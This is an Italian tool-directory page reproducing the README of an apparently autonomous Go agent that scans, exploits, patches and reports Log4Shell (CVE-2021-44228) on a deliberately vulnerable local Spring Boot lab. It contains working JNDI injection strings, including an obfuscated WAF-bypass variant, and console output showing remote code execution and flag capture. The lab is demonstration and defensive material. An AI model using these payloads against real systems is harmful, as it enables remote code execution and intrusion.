Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Log4ShellAuditor — Un agente Go riflessivo e autonomo per audit di sicurezza a ciclo completo, evasione WAF, verifica LDAP OOB, auto-rimedio (auto-patching) e reporting di conformità per CVE-2021-44228 (Log4Shell). | Kitploit
Strumenti/GitHubGitHub/c00ln3t/log4shellauditor
Scanner di VulnerabilitàGenerazione di PayloadScansione PorteExploitSfruttamento di Applicazioni WebBypass WAFPenetration TestingDevSecOpsLab e Pratica
GitHubc00ln3t/log4shellauditor

Log4ShellAuditor

Un agente Go riflessivo e autonomo per audit di sicurezza a ciclo completo, evasione WAF, verifica LDAP OOB, auto-rimedio (auto-patching) e reporting di conformità per CVE-2021-44228 (Log4Shell).

13 giorni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
Vedi Repository

AUTO AUDIT Banner

🤖 AUTO AUDIT

Banco di prova dimostrativo isolato di un agente esecutore autonomo e riflessivo (Go/Java)

Russo 🇷🇺 • Inglese 🇬🇧 • Cinese 🇨🇳 • Spagnolo 🇪🇸 • Tedesco 🇩🇪 • Italiano 🇮🇹 • Arabo 🇸🇦

Go Version Java Version Maven License Views Clones


🧭 Informazioni generali

[!NOTE] AUTO AUDIT è un complesso software che dimostra un ciclo chiuso 100% autonomo (Sense-Think-Act) di individuazione, verifica, sfruttamento, correzione automatica (Self-Healing / Auto-Remediation) e reportistica di conformità per la vulnerabilità critica Log4Shell (CVE-2021-44228 / БДУ ФСТЭК:2021-06103).

Il banco di prova distribuisce un'applicazione web locale basata su Java Spring Boot, un LDAP TCP Callback Listener integrato e il nucleo cognitivo dell'agente Go, che prende decisioni in condizioni di parziale osservabilità dell'ambiente esterno (Partially Observable Markov Decision Process — POMDP).```mermaid %%{init: { 'theme': 'dark', 'themeVariables': { 'background': '#0f172a', 'primaryColor': '#1e293b', 'primaryTextColor': '#cbd5e1', 'primaryBorderColor': '#3b82f6', 'lineColor': '#38bdf8', 'secondaryColor': '#1e1b4b', 'tertiaryColor': '#0f172a', 'edgeLabelBackground': '#0f172a' } }}%% graph TD classDef sense fill:#0284c7,stroke:#0ea5e9,stroke-width:2px,color:#fff; classDef think fill:#4f46e5,stroke:#6366f1,stroke-width:2px,color:#fff; classDef act fill:#059669,stroke:#10b981,stroke-width:2px,color:#fff; classDef target fill:#dc2626,stroke:#ef4444,stroke-width:2px,color:#fff;

root@kitploit:~
subgraph Sense ["🔍 СЕНСОРНЫЙ АНАЛИЗ (Sense)"]
    A[Внешние отклики / TCP-коллбеки]:::sense --> B(Обновление Базы Знаний):::sense
end
subgraph Think ["🧠 КОГНИТИВНОЕ ЯДРО (Think)"]
    B --> C{Вычисление Utility Policy}:::think
    C -->|Рефлексивный вывод| D[Выбор эффектора из реестра]:::think
end
subgraph subgraph_Act ["⚡ ИСПОЛНЕНИЕ (Act)"]
    D --> E[Выполнение Tool.Execute]:::act
    E -->|Воздействие| F((Java Spring Boot Target)):::target
    F -.->|Обратный канал OOB| A
end
root@kitploit:~
---

## 🛠️ Architettura tecnica e componenti

La struttura software dell'agente è progettata secondo i principi dell'architettura pulita (*Hexagonal Architecture / Ports and Adapters*), SOLID e TDD:

* 📂 **[cmd/agent/main.go](https://github.com/c00ln3t/log4shellauditor/blob/HEAD/cmd/agent/main.go)** — Punto di ingresso. Gestisce il ciclo di vita dei processi in background e coordina l'avvio della goroutine dell'agente.
* 📂 **`internal/`** — Logica di business principale del circuito cognitivo:
  * 🧠 **[agent/agent.go](https://github.com/c00ln3t/log4shellauditor/blob/HEAD/internal/agent/agent.go)** — Circuito cognitivo. Implementa il ciclo di controllo e la regola decisionale per la selezione della strategia `Think()`.
  * 💾 **[core/model.go](https://github.com/c00ln3t/log4shellauditor/blob/HEAD/internal/core/model.go)** — Base di conoscenza thread-safe (`KnowledgeBase` / LTM) basata su `sync.RWMutex`.
  * 🔌 **[core/effector.go](https://github.com/c00ln3t/log4shellauditor/blob/HEAD/internal/core/effector.go)** — Interfaccia `Tool` per gli effector.
  * ⚙️ **[effectors/](https://github.com/c00ln3t/log4shellauditor/blob/HEAD/internal/effectors/)** — Registro degli effector polimorfi (strumenti):
    * 🔍 `ToolPortScanner` — Ricognizione del perimetro di rete.
    * 🌐 `ToolDiscovery` — Ricerca di punti di giunzione e vettori di input (`X-Api-Version`).
    * 🔬 `ToolPayloadGenerator` — Sintesi del vettore di firma JNDI.
    * 🚀 `ToolProber` — Verifica della vulnerabilità tramite tracciamento out-of-band (Out-of-Band).
    * 🛡️ `ToolSemanticFuzzer` — Bypass dei classificatori di filtraggio (WAF Evasion) tramite mutazioni sintattiche annidate.
    * 🩹 `ToolRemediator` — Patching automatico (Self-Healing).
    * 📄 `ToolReporter` — Generazione del report in conformità a GOST R 56939-2016.
* 📂 **`pkg/`** — Pacchetti e librerie di supporto:
  * 📡 **[oob/](https://github.com/c00ln3t/log4shellauditor/blob/HEAD/pkg/oob/)** — Listener out-of-band (LDAP e HTTP).
  * ☕ **[jvm/](https://github.com/c00ln3t/log4shellauditor/blob/HEAD/pkg/jvm/)** — Gestione del ciclo di vita e del riavvio del target Java locale.
* 📂 **[deployments/](https://github.com/c00ln3t/log4shellauditor/blob/HEAD/deployments/)** — File di configurazione per il deployment (Docker, Compose).
* 📂 **[test/vulnerable-app/](https://github.com/c00ln3t/log4shellauditor/blob/HEAD/test/vulnerable-app/)** — Applicazione di test vulnerabile Java Spring Boot.

---

## 🎯 Apparato matematico e specifica del ciclo cognitivo (Think-Act Loop)

Il processo decisionale dell'agente è formalizzato come **processo decisionale di Markov parzialmente osservabile (POMDP)**, descritto dalla tupla $\langle S, A, T, R, \Omega, O, \gamma \rangle$:
* $S$ — spazio discreto degli stati nascosti dell'ambiente target (disponibilità della porta, presenza di parametri vulnerabili, attività del WAF, fatto di compromissione, stato del patching, presenza del report di conformità).
* $A$ — spazio delle azioni degli effector (invocazione degli strumenti: `port_scanner`, `discovery`, `payload_generator`, `prober`, `semantic_fuzzer`, `remediator`, `reporter`, `stop`).
* $\Omega$ — spazio delle osservazioni (risposte HTTP ricevute, callback TCP OOB, record del file system).
* $O(o \mid s', a)$ — funzione di osservazione che determina la probabilità di ricevere una risposta $o \in \Omega$.

### 1. Vettore di fiducia (Belief State)
L'agente non ha informazioni dirette sullo stato nascosto dell'ambiente $s \in S$ e opera con un vettore di fiducia $b(s)$ — una distribuzione di probabilità su $S$, memorizzata e aggiornata dinamicamente nella memoria `KnowledgeBase`:
* $b(S_{recon}) \in \{0, 1\}$ — stato della ricognizione di rete (porta aperta/chiusa). Mappato su `ToolPerformance["port_scanner"]`.
* $b(S_{discovery}) \in \{0, 1\}$ — mappatura dei vettori di input (se i parametri sono stati trovati). Mappato su `len(DiscoveryVectors) > 0`.
* $b(S_{payload}) \in \{0, 1\}$ — prontezza della firma exploit. Mappato su `len(CustomPayloads) > 0`.
* $b(S_{exploit}) \in \{0, 1\}$ — stato di compromissione (presenza di Loot/Flag). Mappato su `len(Loot) > 0`.
* $b(S_{patch}) \in \{0, 1\}$ — fatto di localizzazione della vulnerabilità. Mappato su `PatchApplied`.
* $b(S_{verify}) \in \{0, 1\}$ — verifica dell'assenza di un nuovo trigger OOB. Mappato su `PatchVerified`.
* $b(S_{report}) \in \{0, 1\}$ — generazione del report regolamentato. Mappato su `ReportGenerated`.

### 2. Funzione della regola decisionale (Policy Mapping)
La funzione decisionale `Think()` implementa una regola decisionale deterministica $\pi: B \to A$ che mappa sequenzialmente lo stato di fiducia accumulato corrente $b$ sull'azione ottimale dell'effector $a \in A$.

### 3. Apprendimento adattivo e valutazione dell'efficacia degli strumenti
Per ogni strumento $a \in A$ nella memoria `ToolStats` vengono accumulate statistiche e viene calcolato l'indicatore di utilità (Efficiency Score):

$$\text{EfficiencyScore}(a) = \frac{SuccessCount_a}{UsageCount_a}$$

L'agente utilizza questi indicatori per modificare dinamicamente la traiettoria: se la sonda primaria `prober` termina con un fallimento ($\text{EfficiencyScore}(\text{prober}) = 0$), l'agente identifica la presenza di filtraggio sul nodo target (WAF), attiva la strategia compensativa di bypass del WAF tramite lo strumento `semantic_fuzzer` ed esegue la mutazione del vettore di iniezione.

### Scenario passo-passo del funzionamento del banco di prova:

| Passo | Strumento selezionato | Azione e fisica del processo | Cambiamento del Belief State |
| :--- | :--- | :--- | :--- |
| **1** | `port_scanner` | Verifica del socket TCP dell'host `:8080`. | Rilevata porta HTTP aperta del servizio web ($b(S_{recon}) = 1$). |
| **2** | `discovery` | Esecuzione della richiesta GET, parsing del DOM e delle intestazioni. | Identificato il vettore di input: intestazione `X-Api-Version` ($b(S_{discovery}) = 1$). |
| **3** | `payload_generator` | Sintesi del vettore exploit di base. | Il database viene popolato con la stringa `\${jndi:ldap://127.0.0.1:1389/Exploit\}` ($b(S_{payload}) = 1$). |
| **4** | `prober` | Attacco primario. L'agente invia il payload. | Tentativo bloccato dal WAF. $\text{EfficiencyScore}(\text{prober}) = 0$. |
| **5** | `semantic_fuzzer` | Offuscamento della firma tramite nested lookups. | Generata una firma mutata ($b(S_{payload}) = 1$, WAF bypass). |
| **6** | `prober` | Attacco con vettore offuscato. | Il listener LDAP integrato rileva una connessione TCP in ingresso. Rilevato il fatto di RCE ($b(S_{exploit}) = 1$). |
| **7** | `remediator` | Correzione automatica. Scrittura del flag in `remediation.properties` e riavvio della JVM. | Il processo Spring Boot viene riavviato con il flag `-Dlog4j2.formatMsgNoLookups=true` ($b(S_{patch}) = 1$). |
| **8** | `prober` | Verifica (richiesta di sonda ripetuta). | Attesa di una connessione OOB sulla porta `1389`. Nessuna connessione $\rightarrow$ $b(S_{verify}) = 1$. |
| **9** | `reporter` | Generazione del report in markdown. | Documento `reports/cve_2021_44228_report.md` generato ($b(S_{report}) = 1$). |
| **10**| `stop` | Terminazione. | Arresto dell'esecuzione. |

## 📊 Diagrammi di flusso degli algoritmi

### 1. Algoritmo generale di funzionamento dell'agente (Sense-Think-Act Loop)
Questo schema descrive il ciclo di vita continuo del funzionamento dell'agente: dall'avvio e inizializzazione della base di conoscenza fino alla fine della sessione di audit.

---```mermaid
%%{init: {
  'theme': 'dark',
  'themeVariables': {
    'background': '#0f172a',
    'primaryColor': '#1e293b',
    'primaryTextColor': '#cbd5e1',
    'primaryBorderColor': '#475569',
    'lineColor': '#38bdf8',
    'secondaryColor': '#1e293b'
  }
}}%%
flowchart TD
    classDef startEnd fill:#1e293b,stroke:#475569,stroke-width:2px,color:#f8fafc;
    classDef step fill:#0f172a,stroke:#3b82f6,stroke-width:1px,color:#e2e8f0;
    classDef decision fill:#1e1b4b,stroke:#6366f1,stroke-width:1px,color:#e2e8f0;
    classDef action fill:#022c22,stroke:#10b981,stroke-width:1px,color:#e2e8f0;

    Start([Начало]):::startEnd --> Init[Инициализация StandaloneExecutor и KnowledgeBase]:::step
    Init --> LoopStart{Цикл принятия решений}:::decision
    
    %% Think Phase
    LoopStart --> Think["Think: Выбор оптимального инструмента a = Think()"]:::decision
    
    %% Branch on Stop
    Think --> IsStop{a == 'stop'?}:::decision
    IsStop -- Да --> Terminate([Завершение работы агента]):::startEnd
    
    %% Act Phase
    IsStop -- Нет --> FetchTool["Загрузка эффектора из реестра Tools[a]"]:::step
    FetchTool --> Execute[Act: Выполнение Tool.Execute]:::action
    
    %% Sense Phase
    Execute --> Sense[Sense: Получение обратной связи из внешней среды]:::action
    Sense --> UpdateStats[Обновление статистики ToolStats в памяти]:::step
    UpdateStats --> RecordObs[Запись наблюдения в Observations]:::step
    
    %% Wait
    RecordObs --> Delay[Задержка 800 мс]:::step
    Delay --> LoopStart

2. Algoritmo del nucleo cognitivo decisionale (Think)

Questo schema descrive in dettaglio la logica di selezione del passo successivo in base al vettore di fiducia attualmente accumulato (Belief State) all'interno della funzione Think():```mermaid %%{init: { 'theme': 'dark', 'themeVariables': { 'background': '#0f172a', 'primaryColor': '#1e293b', 'primaryTextColor': '#cbd5e1', 'primaryBorderColor': '#475569', 'lineColor': '#38bdf8', 'secondaryColor': '#1e293b' } }}%% flowchart TD classDef startEnd fill:#1e293b,stroke:#475569,stroke-width:2px,color:#f8fafc; classDef process fill:#0f172a,stroke:#3b82f6,stroke-width:1px,color:#e2e8f0; classDef decision fill:#1e1b4b,stroke:#6366f1,stroke-width:1px,color:#e2e8f0; classDef selection fill:#064e3b,stroke:#10b981,stroke-width:1px,color:#e2e8f0;

root@kitploit:~
Start(["Вызов Think()"]):::startEnd --> Lock["Блокировка памяти RLock()"]:::process
Lock --> ReadState[Чтение вектора доверия b]:::process

%% Step 1
ReadState --> PortScan{port_scanner выполнен?}:::decision
PortScan -- Нет --> RetPortScan[Выбрать 'port_scanner']:::selection

%% Step 2
PortScan -- Да --> Discovery{Найдено векторов ввода?}:::decision
Discovery -- Нет --> RetDiscovery[Выбрать 'discovery']:::selection

%% Step 3
Discovery -- Да --> Payload{Сгенерирована эксплоит-сигнатура?}:::decision
Payload -- Нет --> RetPayload[Выбрать 'payload_generator']:::selection

%% Step 4 (Exploit)
Payload -- Да --> Loot{Флаг RCE перехвачен?}:::decision
Loot -- Нет --> ProberStats{Была попытка prober?}:::decision

ProberStats -- Нет --> RetProber[Выбрать 'prober']:::selection
ProberStats -- Да --> FuzzerStats{Fuzzer выполнен?}:::decision
FuzzerStats -- Нет --> RetFuzzer[Выбрать 'semantic_fuzzer']:::selection
FuzzerStats -- Да --> RetProber:::selection

%% Step 5
Loot -- Да --> Patch{Патч применен?}:::decision
Patch -- Нет --> RetRemediator[Выбрать 'remediator']:::selection

%% Step 6
Patch -- Да --> Verify{Патч верифицирован?}:::decision
Verify -- Нет --> RetProberVerify[Выбрать 'prober' в режиме верификации]:::selection

%% Step 7
Verify -- Да --> Report{Отчет сформирован?}:::decision
Report -- Нет --> RetReporter[Выбрать 'reporter']:::selection

%% Step 8
Report -- Да --> RetStop[Выбрать 'stop']:::selection

%% Return Statements
RetPortScan --> Unlock["Разблокировка RUnlock()"]:::process
RetDiscovery --> Unlock
RetPayload --> Unlock
RetProber --> Unlock
RetFuzzer --> Unlock
RetRemediator --> Unlock
RetProberVerify --> Unlock
RetReporter --> Unlock
RetStop --> Unlock

Unlock --> End([Возврат выбранного инструмента]):::startEnd
root@kitploit:~
---

## 📦 Specifica dell'applicazione Java vulnerabile

L'applicazione target nella directory `test/vulnerable-app/` è un servizio REST minimale basato su **Spring Boot 2.7.18** con versioni volutamente ridotte delle librerie **Apache Log4j2**:```xml
<dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-core</artifactId>
    <version>2.14.1</version> <!-- Уязвимая версия, поддерживающая lookup JNDI -->
</dependency>

Il controller vulnerabile registra gli header HTTP in arrivo senza una preventiva pulizia:```java logger.info("[AUDIT] API Version header logged: {}", apiVersion);

root@kitploit:~
Quando viene ricevuta una stringa del tipo `\${jndi:ldap://...\}` , il logger avvia la risoluzione dell'indirizzo JNDI, inviando una richiesta tramite il protocollo LDAP sulla porta `1389`.

---

## 🚀 Istruzioni per l'avvio

L'ambiente dimostrativo supporta due modalità di distribuzione: esecuzione locale direttamente sul sistema host (Opzione A) oppure esecuzione completamente containerizzata in un ambiente di rete isolato tramite Docker Compose (Opzione B).

### Opzione A. Esecuzione locale sul sistema host

#### Prerequisiti
* **JDK 17+** (verifica con `java -version`)
* **Maven 3.8+** (verifica con `mvn -version`)
* **Go 1.21+** (verifica con `go version`)

#### 1. Build del microservizio Java
Compila il target Java in un artefatto fat JAR:```bash
cd test/vulnerable-app
mvn clean package
cd ../..

Assicurati che nella directory test/vulnerable-app/target/ sia stato creato correttamente il file vulnerable-app-simple-1.0.0.jar.

2. Compilazione della payload Exploit

Compila la classe Java Exploit che verrà servita dal server HTTP:```bash javac internal/payload/Exploit.java

root@kitploit:~
#### 3. Compilazione e avvio del banco dimostrativo
Avvio in modalità di interpretazione Go al volo:```bash
go run ./cmd/agent

Oppure eseguite la compilazione in un file binario eseguibile:```bash go build -o test_agent ./cmd/agent ./test_agent

root@kitploit:~
---

### Variante B. Avvio in ambiente Docker isolato (Docker Compose)

> [!TIP]
> Questa variante non richiede l'installazione di Go, Java o Maven sul sistema host. L'intero ambiente viene compilato e orchestrato automaticamente in una rete virtuale isolata `172.20.0.0/16`.


#### Prerequisiti
* **Docker** installato e plugin **Docker Compose** (verificare con `docker compose version`).

#### 1. Avvio dell'ambiente
Eseguire la build delle immagini e l'avvio dei container con un unico comando dalla directory principale del progetto:```bash
docker compose -f deployments/docker-compose.yml up --build

2. Descrizione dei processi nei container:

  • vulnerable-app compilerà automaticamente l'applicazione Java Spring Boot, scriverà il flag segreto nella directory privata /var/lib/secret/flag.txt e avvierà il server web sulla porta :8080.
  • reflective-agent compilerà il codice Go dell'agente, compilerà il payload Java Exploit.java, avvierà i server OOB e lancerà il ciclo cognitivo.
  • La cartella locale reports/ sul sistema host è montata nel container dell'agente — il report GOST generato al termine dell'esecuzione verrà salvato automaticamente nella tua directory reports/cve_2021_44228_report.md.

3. Arresto dell'ambiente di test

Per completare la simulazione e rimuovere le risorse di rete, esegui:```bash docker compose -f deployments/docker-compose.yml down

root@kitploit:~
---

## 📊 Esempio di output della console```text
=== ДЕМОНСТРАЦИОННЫЙ СТЕНД РЕАКТИВНОГО АГЕНТА (JAVA SPRING TARGET) ===
[*] Запуск скомпилированного уязвимого Java Spring приложения локально...
[*] Ожидание инициализации веб-контекста Spring (3.5 сек)...
[*] Инициализация агента-исполнителя для цели: http://localhost:8080
================================================================
[ВЫВОД] Выбран инструмент: 'port_scanner' (Текущая фаза: Reconnaissance)
[ЭФФЕКТОР:port_scanner] Сканирование порта localhost:8080...
[НАБЛЮДЕНИЕ] OBSERVATION: Обнаружен открытый HTTP-порт localhost:8080. Java Spring Web-служба отвечает.

[ВЫВОД] Выбран инструмент: 'discovery' (Текущая фаза: Discovery)
[ЭФФЕКТОР:discovery] Исследование структуры веб-приложения http://localhost:8080...
[НАБЛЮДЕНИЕ] OBSERVATION: Обнаружены потенциальные векторы ввода: GET-параметр '/?input=' и HTTP-заголовок 'X-Api-Version'.

[ВЫВОД] Выбран инструмент: 'payload_generator' (Текущая фаза: Discovery)
[ЭФФЕКТОР:payload_generator] Анализ уязвимостей и синтез сигнатур...
[НАБЛЮДЕНИЕ] OBSERVATION: Сгенерирована сигнатурная нагрузка для CVE-2021-44228: '${jndi:ldap://127.0.0.1:1389/Exploit}'.

[ВЫВОД] Выбран инструмент: 'prober' (Текущая фаза: Discovery)
[ЭФФЕКТОР:prober] Первичная атака: Отправка нагрузки '${jndi:ldap://127.0.0.1:1389/Exploit}' на http://localhost:8080...
[НАБЛЮДЕНИЕ] FAILURE: Атака не удалась. Уязвимость не эксплуатирована или флаг не перехвачен.

[ВЫВОД] Выбран инструмент: 'semantic_fuzzer' (Текущая фаза: Discovery)
[ЭФФЕКТОР:semantic_fuzzer] Запуск обфускации и семантического фаззинга против WAF...
[НАБЛЮДЕНИЕ] OBSERVATION: Сгенерирован обфусцированный вектор обхода: '${${lower:j}ndi:ldap://127.0.0.1:1389/bypass}'.

[ВЫВОД] Выбран инструмент: 'prober' (Текущая фаза: Discovery)
[ЭФФЕКТОР:prober] Первичная атака: Отправка нагрузки '${${lower:j}ndi:ldap://127.0.0.1:1389/bypass}' на http://localhost:8080...
[LDAP SERVER] Получен LDAP BindRequest. Отправка BindResponse...
[LDAP SERVER] Получен LDAP SearchRequest. Отправка JNDI Referral...
[HTTP SERVER] Получен запрос на загрузку Exploit.class
[HTTP SERVER] >>> ПЕРЕХВАЧЕН СЕКРЕТНЫЙ ФЛАГ: FLAG{LOCAL_HOST_LOG4SHELL_SECRET_2026} <<<
[НАБЛЮДЕНИЕ] SUCCESS: LDAP Callback получен на порту 1389. RCE отработал. Перехваченный флаг: FLAG{LOCAL_HOST_LOG4SHELL_SECRET_2026}.

[ВЫВОД] Выбран инструмент: 'remediator' (Текущая фаза: Remediation)
[ЭФФЕКТОР:remediator] Анализ причин уязвимости и генерация исправления для http://localhost:8080...
[ЭФФЕКТОР:remediator] Отправка команды применения патча на http://localhost:8080/remediate...
[НАБЛЮДЕНИЕ] REMEDIATION_SUCCESS: Патч применен. На целевое приложение отправлен запрос ремедиации (изменен флаг -Dlog4j2.formatMsgNoLookups=true). JVM успешно переинициализирована.

[ВЫВОД] Выбран инструмент: 'prober' (Текущая фаза: Verification)
[ЭФФЕКТОР:prober] Верификация патча: Повторная атака уязвимости на http://localhost:8080...
[НАБЛЮДЕНИЕ] VERIFICATION_SUCCESS: Попытка эксплуатации отклонена сервером. Входящий TCP-коллбек на порт 1389 отсутствует. Уязвимость успешно устранена.

[ВЫВОД] Выбран инструмент: 'reporter' (Текущая фаза: Verification)
[ЭФФЕКТОР:reporter] Формирование отчета об уязвимости по стандартам РФ для http://localhost:8080...
[НАБЛЮДЕНИЕ] REPORT_SUCCESS: Отчет успешно сгенерирован и сохранен в файл 'reports/cve_2021_44228_report.md'.

================================================================
[INFO] Жизненный цикл аудита, патчинга и комплаенса завершен.

📜 Protezione delle informazioni e conformità

Il rapporto generato dall'agente nel file reports/cve_2021_44228_report.md tiene conto dei principali standard russi di sicurezza informatica:

  • ГОСТ Р 56939-2016 — Sviluppo di software sicuro.
  • ФЗ-152 — Requisiti per la protezione dei dati personali (ПДн) in caso di rilevamento di funzionalità non dichiarate.
  • ФЗ-187 — Garanzia della resilienza degli oggetti dell'infrastruttura informatica critica (КИИ РФ).

🛡️ Licenza

Questo progetto è distribuito con licenza MIT. Dettagli nel file LICENSE.

Scarica lo strumento